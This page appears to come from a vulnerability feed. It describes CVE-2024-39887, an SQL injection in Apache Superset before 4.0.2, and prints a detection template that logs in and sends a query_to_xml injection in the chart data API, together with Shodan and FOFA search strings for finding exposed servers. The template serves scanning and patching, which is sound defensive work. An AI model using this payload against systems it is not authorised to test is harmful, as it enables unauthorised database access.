An SQL Injection vulnerability in Apache Superset exists due to improper neutralization of special elements used in SQL commands. Specifically, certain engine-specific functions are not checked, which allows attackers to bypass Apache Superset's SQL authorization. To mitigate this, a new configuration key named DISALLOWED_SQL_FUNCTIONS has been introduced. This key disallows the use of the following PostgreSQL functions- version, query_to_xml, inet_server_addr, and inet_client_addr. Additional functions can be added to this list for increased protection.
PoC代码[已公开]
id: CVE-2024-39887
info:
name: Apache Superset < 4.0.2 - SQL Injection
author: iamnoooob,rootxharsh,pdresearch
severity: medium
description: |
An SQL Injection vulnerability in Apache Superset exists due to improper neutralization of special elements used in SQL commands. Specifically, certain engine-specific functions are not checked, which allows attackers to bypass Apache Superset's SQL authorization. To mitigate this, a new configuration key named DISALLOWED_SQL_FUNCTIONS has been introduced. This key disallows the use of the following PostgreSQL functions- version, query_to_xml, inet_server_addr, and inet_client_addr. Additional functions can be added to this list for increased protection.
remediation: Users are recommended to upgrade to version 4.0.2, which fixes the issue.
reference:
- https://blog.quarkslab.com/bypass-apache-superset-restrictions-to-perform-sql-injections.html
- http://www.openwall.com/lists/oss-security/2024/07/16/5
- https://lists.apache.org/thread/j55vm41jg3l0x6w49zrmvbf3k0ts5fqz
- https://nvd.nist.gov/vuln/detail/CVE-2024-39887
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2024-39887
cwe-id: CWE-89
epss-score: 0.5066
epss-percentile: 0.97778
metadata:
verified: true
max-request: 3
vendor: apache
product: superset
shodan-query:
- http.favicon.hash:"1582430156"
- http.html:"apache superset"
fofa-query:
- body="apache superset"
- icon_hash=1582430156
tags: cve,cve2024,apache,superset,sqli,authenticated
variables:
marker: "{{randstr}}"
http:
- raw:
- |
GET /login/ HTTP/1.1
Host: {{Hostname}}
- |
POST /login/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
csrf_token={{csrf_token}}&username={{username}}&password={{password}}
matchers:
- type: dsl
dsl:
- 'contains(header_2, "session")'
- 'contains(body, "DashboardFilterStateRestApi")'
condition: and
extractors:
- type: regex
name: csrf_token
part: body
group: 1
regex:
- 'name="csrf_token" type="hidden" value="(.*)"'
internal: true
- raw:
- |
POST /api/v1/chart/data HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"datasource":{"id":1,"type":"table"},"queries":[{"row_limit":1, "columns":[{"sqlExpression":"query_to_xml($$select convert_from(decode('{{base64(marker)}}', 'base64'),'utf8')$$,true,true,'')-- -", "label":"aaaa", "expressionType":"SQL"}]}]}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "<convert_from>{{marker}}</convert_from>")'
condition: and
# digest: 4a0a00473045022044c2977ea36900db1c9b9165a73d5805d4be21f142e057c08093fbf0ee1baedd022100cec5890d704f0a1ec2e64587901d597f68183623b5c4384a1aaa7e6bbbe46638:922c64590222798bb761d5b6d8e72950